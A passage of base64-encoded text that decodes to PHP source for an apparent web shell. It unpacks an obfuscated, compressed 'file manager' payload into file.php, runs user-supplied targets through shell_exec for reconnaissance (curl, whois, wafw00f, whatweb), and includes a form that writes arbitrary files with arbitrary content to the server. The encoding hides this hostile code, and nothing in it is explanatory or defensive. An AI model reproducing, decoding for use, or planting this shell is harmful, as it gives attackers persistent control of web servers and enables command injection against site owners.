OMXFGM3BGYWYyaWYyRDBPYnIzL2MzM3ZxY2pRY01zVG9aQm5kWVBxaGx1MzQyZkhvK0ptQ0JaR1BrcVhqUlp1SkhkOGkrRCtFSDA5OTN6ZWcrejZoQ2FzRlRrakE5NjNrMlNMU2dqcDNUZktBT0QvK0FQOGtPbk91QXB5aVJkVERIRU1RMmVLRHZJZ3g3RWxhNTRNRzdHRTNvZzRqVVRoQllSVFdtQnU0Q2hLcmRZYWRRQzRqN1pQZ0FMc01mU2pPMXB5aS9oRVNPUUZaY0dGY2JpdGhPNU5JT01rR2s4V1NUYml1Z1RkRk5VVFZucVIvcEttT0F1d0RWc0NQb1o2SXFoMmJxWVJqdy9sRlVmV09wYU91QWpRTUdzVndRTitjUWZOd3JDRlRKdDFLMTk2b0tTUXEyUld5ejBCTFAySmN6SGd2TDg1K2x5TTVGc0dGTnNSalM1WFdmclJ0bGV1a2hHbzZuWFJ4RU1TTzU1RndvVmFlYVN0SjdMajV5bEN0aUZOU2MvS296SnpKS0R5TEp5K2ZWYlRaR0E1S3VzV01ZaS9sdUlLSDB6V2xrSUhlT0d5SkpraG9EdVFwMFVCUVdSeUkrRjJTSkpoMU81ZXZ6OS85WWNXY3czcmY2eWtQN01BWXpWQmhkY29YZUNyQVFZSU5zZ1ZtN3NicjltU21TR2NUUmk4cGpybjM0NjQxbjF1SDFzQTZGSXRBS0I0U1RvWnY0eUR5T0ltK3VyL25SeFE3N3JLcjZKd0VkWWczQS9saEpoV1U2d0ZETkpzaHkwSUh6aXFlaWg5QURKTjJUNHVwanNPM1kzU3RlMWgrY3pyNkhmZ2NkcDBOOGhNYUNQczVxZjFTZHNqNUpNd1FQMVpJMVRPSkdyZE13Ym42M1E2WjJkTU9BY29aMTRjL2Z2KzlybzhBa3N6U1NuOTB5SHM1MWtRRVlRaDZNZ09UOUhTZVFZSDBZMEc0VEcrckQ5QjlLMWQvWU1sak5sM0lKN3hJb0s3bVJkcGVWZTZkZXVzcnpnamVxa3NqV0UzZ2t2MEdPZVNBZWZramhITVdHQlFOOUZNRDdxN2dqaW1XR2k3WmlzY3Nkb2tUdUV1SEpsM1k4Wkk3OWFXNjBwTUtIWlZKVWhEaCt4QWFwbGxrYXVjY0JlKzhmSFB4Vmk1YTcrRnNMSTlmcVF4YkJkTlo5ZG9VRXdNL0pBVW9JMVhLcHRPYVZnQ25LTWdBcnVvdVY1Rm42UjZtS2FQd01WMXBKNnpSQ2VadVVZN0RMV3hGVGJYRUpuMWhRVEVPYzFjOFhUcmhBcU0zSElzTEJmZmxHYTluK3FVc1orcWEzUTFhNXRwUkFraXdEZnVmVXhyUkZnTGt3NDlWR1lqSC9BcXRNRnRHbnRvZnJLZmZFaW1QSm9OTTh5U00xd3lGemlxdHk4SGkxZFc2bWszSW4rbnNXRTNkT01FNm5iUDZ5ZnFLWi9CdUVsTVNNcjlyZlJkWmh3Z0NBS0FUNDZSN3ZVTjBOSWFna0ZDRG9yeTVpSm93UytKNTZma1dST2VJbFJLVm5MekNNcTEyNHE1ZnNaSHc1SjJ4dVpsV3BBcm1kVlJ2aXdFY3RlNGlhZW9vQnlWUGtWemc1cWdNOFVZUVZRYW1CQ2hGSnZ6dTh6dTN2eDNrWG1INks4ZjZNZ0VxZHI1L2FNSW5zNGt3aUNpRURDTk5IeTJXZjhVYktYSk5KS3N0ZHczbWtkMFlPMUw2LzRrNGxZNzkxUVFxOWdockR0TmlkWlQ1bWg5ekIvT2pHSWRta0ZvYlVWY1lBZTF2S0g4WjdISyt3MmJrZG5GN3p1V1h0ZGpuamRwODM0ZkZyTzhHVVNMTTBudTg0QlRWS284emg3K01nQXJKN01SR05Ob2tzNUd0ZXlnL0FMMW0zcW1pTE42ZnFwNU1Oek9WLzBaakZJTGljMGRvcVlMV0N1VnA4UVcyWlptZEY4OXRTL3hadWNSWFNDa2QyQ0VsSk5TcXVzaFhmS0hrTncrSytUTWhFam9qOURNSHZiYnhBNHBvSXhkckpvUjRxN0xoT29SdTl5Y3g0aGRJbmZyT0QzNFgyUlkzc05oSlhDZmtYZ2pkSGZuVXpWbzJSV2FQM0NDU1psZVY5SExCdjVLbUc0Z3NPeFBJRFp3a1VZU2lmMTk3RzNqbHhBRGxtMkV4clNleG5mOHRMOThld3ArL0RpWVBnYmtRZVd3cmhOWjVzVVNyRGlhemRsM3FJZEN3NDcrTmJQZUVKSmZnTlZyWGFnQmtjdHhEZi8wbHVFUU05NjNpc0Y5dXBXVStaM2FaNnBSVkhiZTUzbkxMcFpqbmh5NkV5bnBlcmN4NGRQU1FRNmpxMzNHalFjMEhBVk5udVY2TGhLWG5BcFZDNFZ6NEFYcjMzcUtRbHl6emVHVExvQWEzdGE3Z0ZtMEZ6cEtpTGx1dEU5Mzc4SXppY3A1WGwvTTBJN2tRWkprSHl0cEJsQXk1TTg3cmtvLzY0azJVWGZPczdxb2xWMThyeVZKS1VXbkVRalVsd0U2OHNvTFJFT1FGMUJwSGRGZzBtRlBSY1dtTEl0Ly9OSmpmNUF0aEU4NUFXckN4R0ozcmhXNTZiTHJKZ1NxZEw5cW5rRUx1djRHbVYzR0R6bVB0b0htWnNVTlZNdHkyanl6Y0svR0FQVjFvcXQ1M2picTA1YTlueVZMbDBueWZGNE5YKytMZ2daUGFuUWppVk42SVVKZFdYSWt3WGN4aU1KT2xzWXBicndNdEgrZ2J3RGNTL0xHV2V6QzBSK01LUnZGdGFsZU1EcDhaT1ZqU2dESXpCT3lsbGtVWlEyeHpPT0t2c2VpWGwzcU9yYXB4VTM3eG0zUDhzOGlSMWhUWm9kN3pkbGZmMXN4MG85UW1Xcmw4dnh0Zm92U2xPbzl3aTdRcEFRcU84b2xxZ0YzM2FGMEVhTUR0MVcwdUEycGtycXdEL3I3OS96OXUveW9jNkZCcEtOQ04vSUlWQkhqdEp5NGhIbTJMYlRWRXk0Mit0aUlpN3docXI3MGV1Y242aVBxZlhlWnRXa0dXLzRHUkdLWi9mUWxzL2pvVU9VQ2x3MEpGMEJGejZsYlgxOFZyTnZGUnQ2dElaSS9SdmoyMWJic24vdEJGUFNxa3dRQzlqZHhyekJRd0NmMkk0MXFKa0Z4bC9ETGNpeHp1aFFsM3Q3cUtBdUtpbjBsNGJhQUd6YWduT2VxSmdmb2JYcXdEaHhwNFI4MTR4em5lc1lIM011QmFJOVY2TjFDdm1sSEhPZXJZUUQwamxJZDhSTzhNUks4WmNaUWpqZ3pFMDZWRCtWMkFhWTJzYmpQeU1FY2VHc2l2Zm5wMWdXSVNZd014emhFMTZuK0YxMkcwQ1EzYXRmTHYvVDFPY3JFSk1UOGd1ZGlmbFlXeGh5REJjMlJSQzAzZzhNU2ZkOVdUMnllU2ZMTWorUmpJaXdWa21lcEV5WkFJMEZzTDlkQmtWNTYzcVNBeXpyak9yM2xsR3pkTE5XcW44N0NkenZiSkRqcVA3Nkh6dUZibmYwYzA4TFpJTlc2bHN6MXFwL053QjUxSFNuN1dRdWVVNTExUlp5Q21tSzFwS0QxZit2eHpTTlRvRy9qOEZ3PT0iOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkd3JpdGluZyA9IEBmb3BlbignZmlsZS5waHAnLCAidyIpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBAZndyaXRlKCR3cml0aW5nLCBodG1sc3BlY2lhbGNoYXJzX2RlY29kZShnemluZmxhdGUoYmFzZTY0X2RlY29kZSgkZmlsZV9tYW5hZ2VyKSkpKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQGZjbG9zZSgkd3JpdGluZyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID8+PGJyPjxicj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlmcmFtZSBzcmM9ImZpbGUucGhwIiB3aWR0aD0iMTAwJSIgaGVpZ2h0PSI1MTUiPjwvaWZyYW1lPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocA0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgPz4NCiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZihpc3NldCgkX0dFVFsnaXBfbG9va3VwJ10pKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Y2VudGVyPjxicj48YnI+PGZvbnQgY29sb3I9ImdvbGQiIHNpemU9IjciIGZhY2U9ImN1cnNpdmUiPklwIGxvb2t1cDwvZm9udD48YnI+PGJyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9IlBPU1QiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Zm9udCBjb2xvcj0id2hpdGUiIGZhY2U9ImN1cnNpdmUiIHNpemU9IiI+RW50ZXIgU2l0ZSBuYW1lOiA8L2ZvbnQ+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJzaXRlX25hbWUiIHBsYWNlaG9sZGVyPSJ3d3cuZ29vZ2xlLmNvbSIgLz4gPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIG5hbWU9ImlwX2xvb2t1cGFkZHIiIGlkPSJidXR0b24iPiA8L2J1dHRvbj4NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZm9ybT4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoaXNzZXQoJF9QT1NUWydpcF9sb29rdXBhZGRyJ10pKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAJJGlwYWRkciA9IGdldGhvc3RieW5hbWUoJF9QT1NUWydzaXRlX25hbWUnXSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAJJGRvbWFpbiA9IGdldGhvc3RieWFkZHIoJGlwYWRkcik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAJZWNobyAnPGJyPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAJZWNobyAiPHA+SVAgQWRkcmVzcyBvZiAiLiAkX1BPU1RbJ3NpdGVfbmFtZSddIC4gIiBpcyIgLiAiICIuJGlwYWRkciAuICI8L3A+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAllY2hvICI8cD5Eb21haW46ICIuICRkb21haW4gLiAiPC9wPiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAJZWNobyAiPGJyPiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8L2NlbnRlcj4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPz4NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChpc3NldCgkX0dFVFsncmVjb24nXSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxjZW50ZXI+PGJyPjxicj48Zm9udCBjb2xvcj0idGVhbCIgc2l6ZT0iNyIgZmFjZT0iY3Vyc2l2ZSI+V0hPSVMgU2NhbiA8L2ZvbnQ+PGJyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGFjdGlvbj0iIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAk8aW5wdXQgdmFsdWU9IiIgcGxhY2Vob2xkZXI9Imdvb2dsZS5jb20uLi4iIG5hbWU9InRhcmdldCIgcmVxdWlyZWQvPiA8YnV0dG9uIHR5cGU9InN1Ym1pdCIgaWQ9ImJ1dHRvbiIgbmFtZT0ic3VibWl0Ij4gPC9idXR0b24+DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAk8L2Zvcm0+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocA0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAvL2luaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgMSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAvL2luaV9zZXQoJ2Rpc3BsYXlfc3RhcnR1cF9lcnJvcnMnLCAxKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8vZXJyb3JfcmVwb3J0aW5nKEVfQUxMKTsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZnVuY3Rpb24gcHJvZ3Jlc3MoJGl0ZW0pIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJGl0ZW07DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICBvYl9mbHVzaCgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZmx1c2goKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZ1bmN0aW9uIHVybCgkdGFyZ2V0KSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZmluZF91cmwgPSBzaGVsbF9leGVjKCJjdXJsIC1JIC1MICR0YXJnZXQgfCBhd2sgJy9Mb2NhdGlvbi97cHJpbnQgJDJ9JyIpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHJlcyA9IGV4cGxvZGUoIlxuIiwgdHJpbSgkZmluZF91cmwpKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR1cmwgPSBlbmQoJHJlcyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZigkdXJsKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVzdWx0ID0gJHVybDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVzdWx0ID0gImh0dHA6Ly8iLiR0YXJnZXQ7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gJHJlc3VsdDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZ1bmN0aW9uIHdob2lzKCR0YXJnZXQpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR3aG9pcyA9IHNoZWxsX2V4ZWMoIndob2lzICR0YXJnZXQiKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiAkd2hvaXM7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmdW5jdGlvbiBmaXJld2FsbCgkdXJsKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY2hlY2tfZmlyZXdhbGwgPSBzaGVsbF9leGVjKCIvdXNyL2Jpbi93YWZ3MDBmICR1cmwiKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHByZWdfbWF0Y2goIi9pc1xzYmVoaW5kXHNhXHMoLis/KVxuLyIsICRjaGVja19maXJld2FsbCwgJHJlc3VsdCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZigkcmVzdWx0WzFdKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZmlyZXdhbGwgPSAkcmVzdWx0WzFdOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRmaXJld2FsbCA9ICdOb25lJzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiAkZmlyZXdhbGw7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmdW5jdGlvbiBkZWJ1ZygkdXJsKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZGVidWcgPSBzaGVsbF9leGVjKCJjdXJsIC1JICR1cmwiKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiAkZGVidWc7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmdW5jdGlvbiB3aGF0d2ViKCR1cmwpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRjaGVja19zdGFjayA9IHNoZWxsX2V4ZWMoIndoYXR3ZWIgLS1uby1lcnJvcnMgJHVybCAtLWxvZy14bWw9L3Zhci93d3cvaHRtbC93dy90bXAvdGVtcC54bWwiKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRmaWxlcGF0aCA9ICIvdmFyL3d3dy9odG1sL3d3L3RtcC90ZW1wLnhtbCI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY29udGVudCA9IHV0ZjhfZW5jb2RlKGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlcGF0aCkpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHhtbCA9IHNpbXBsZXhtbF9sb2FkX3N0cmluZygkY29udGVudCwgJ1NpbXBsZVhNTEVsZW1lbnQnLCBMSUJYTUxfQ09NUEFDVCB8IExJQlhNTF9QQVJTRUhVR0UpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCgkeG1sLT50YXJnZXQgYXMgJHRhcmdldCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGFycmF5ID0gYXJyYXkoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2goJHRhcmdldC0+cGx1Z2luIGFzICRrZXkgPT4gJGRhdGEpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhcnJheVtdID0gYXJyYXkoDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAka2V5ID0+ICRkYXRhDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICApOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHJlc1tdID0gYXJyYXkoDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAndGFyZ2V0JyA9PiAkdGFyZ2V0LT51cmksDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnZGF0YScgPT4gJGFycmF5DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICApOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHJlc3VsdCA9ICRyZXM7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICB1bmxpbmsoJGZpbGVwYXRoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiAkcmVzdWx0Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRhcmdldCA9IHRyaW0oJF9QT1NUWyd0YXJnZXQnXSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc3VibWl0ID0gJF9QT1NUWydzdWJtaXQnXTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPC9jZW50ZXI+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCFlbXB0eSgkdGFyZ2V0KSAmJiBpc3NldCgkc3VibWl0KSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPHByZT4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHVybCA9IHVybCgkdGFyZ2V0KTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHByb2dyZXNzKCI8cD48Yj5VUkw6PC9iPiA8YSBocmVmPSckdXJsJyB0YXJnZXQ9X2JsYW5rIHJlbD0nbm9mb2xsb3cnPiR1cmw8L2E+PC9wPiIpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGRlYnVnID0gZGVidWcoJHVybCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwcm9ncmVzcygiPHA+JGRlYnVnPC9wPjxocj4iKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR3aGF0d2ViID0gd2hhdHdlYigkdXJsKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2goJHdoYXR3ZWJbMF0gYXMgJHd3KSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoKGFycmF5X3NsaWNlKCR3dywgMSkgYXMgJGl0ZW0pIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKGlzc2V0KCRpdGVtWydwbHVnaW4nXS0+c3RyaW5nKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHZhbCA9IHVybGRlY29kZSgkaXRlbVsncGx1Z2luJ10tPnN0cmluZyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHZhbCA9IHVybGRlY29kZSgkaXRlbVsncGx1Z2luJ10tPnZlcnNpb24pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcHJvZ3Jlc3MoIjxsaT48Yj4iLiRpdGVtWydwbHVnaW4nXS0+bmFtZS4iPC9iPiAiLiR2YWwuIjwvbGk+Iik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZmlyZXdhbGwgPSBmaXJld2FsbCgkdXJsKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHByb2dyZXNzKCI8cD48Yj5GaXJld2FsbCBkZXRlY3RlZDo8L2I+ICRmaXJld2FsbDwvcD48aHI+Iik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkd2hvaXMgPSB3aG9pcygkdGFyZ2V0KTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHByb2dyZXNzKCI8cD4kd2hvaXM8L3A+Iik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8L3ByZT4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPz4NCg0KICAgICAgICAgICAgICAgICAgICAgICAgPD9waHANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGlzc2V0KCRfR0VUWydmaWxlX2NyZWF0b3InXSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxjZW50ZXI+PGJyPjxicj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJQT1NUIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxmb250IGNvbG9yPSJ3aGl0ZSIgZmFjZT0iY3Vyc2l2ZSIgc2l6ZT0iIj5GaWxlbmFtZTogPC9mb250Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImZpbGVfbmFtZSIgcGxhY2Vob2xkZXI9IkZpbGUgTmFtZSBIZXJlIiAvPjxicj48YnI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Zm9udCBjb2xvcj0id2hpdGUiIGZhY2U9ImN1cnNpdmUiIHNpemU9IiI+Q29udGVudDogPC9mb250Pjxicj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZXh0YXJlYSBuYW1lPSJjb250ZW50X29mX2ZpbGVzIiByb3dzPSIxMCIgY29scz0iOTAiPjwvdGV4dGFyZWE+PGJyPjxicj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pc3Npb25vZmZpbGVjcmVhdG9yIiB2YWx1ZT0iU3VibWl0IiAvPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZm9ybT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGZpbGVuYW1lX2luX2ZpbGVfY3JlYXRvciA9IGh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydmaWxlX25hbWUnXSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY29udGVudHNfb2ZfZmlsZSA9ICRfUE9TVFsnY29udGVudF9vZl9maWxlcyddOw0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGlzc2V0KCRfUE9TVFsnZmlsZV9uYW1lJ10pIHx8IGlzc2V0KCRfUE9TVFsnY29udGVudF9vZl9maWxlcyddKSB8fCBpc3NldCgkX1BPU1RbJ3N1Ym1pc3Npb25vZmZpbGVjcmVhdG9yJ10pKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoIWVtcHR5KCRmaWxlbmFtZV9pbl9maWxlX2NyZWF0b3IpIHx8ICFlbXB0eSgkY29udGVudHNfb2ZfZmlsZSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRoYW5kbGUgPSBAZm9wZW4oJGZpbGVuYW1lX2luX2ZpbGVfY3JlYXRvciwgJ3cnKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEBmd3JpdGUoJGhhbmRsZSwgJGNvbnRlbnRzX29mX2ZpbGUpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQGZjbG9zZSgkaGFuZGxlKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID8+PGJyPjxicj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxmb250IGNvbG9yPSJ3aGl0ZSIgZmFjZT0iY3Vyc2l2ZSIgc2l6ZT0iNSI+RmlsZSBXaXRoIE5hbWU6IDxhIGhyZWY9Ijw/cGhwIGVjaG8gJGZpbGVuYW1lX2luX2ZpbGVfY3JlYXRvcjsgPz4iIHRhcmdldD0iX2JsYW5rIj48P3BocCBlY2hvICRmaWxlbmFtZV9pbl9maWxlX2NyZWF0b3I7ID8+PC9hPiBpcyBjcmVhdGVkPC9mb250Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID8+PGJyPjxicj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGZvbnQgY29sb3I9IndoaXRlIiBmYWNlPSJjdXJzaXZlIiBzaXplPSI1Ij5QbGVhc2UgSW5wdXQgSW4gQWxsIEZpZWxkcyA6UDwvZm9udD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgPD9waHANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGlzc2V0KCRfR0VUWydwaHBfaW5mbyddKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Ym9keSBzdHlsZT0iY29sb3I6IGJsYWNrOyBiYWNrZ3JvdW5kLWNvbG9yOiAjMDgwNTEwOyI+DQogICAgICAgICAgICAgICAgICAgICA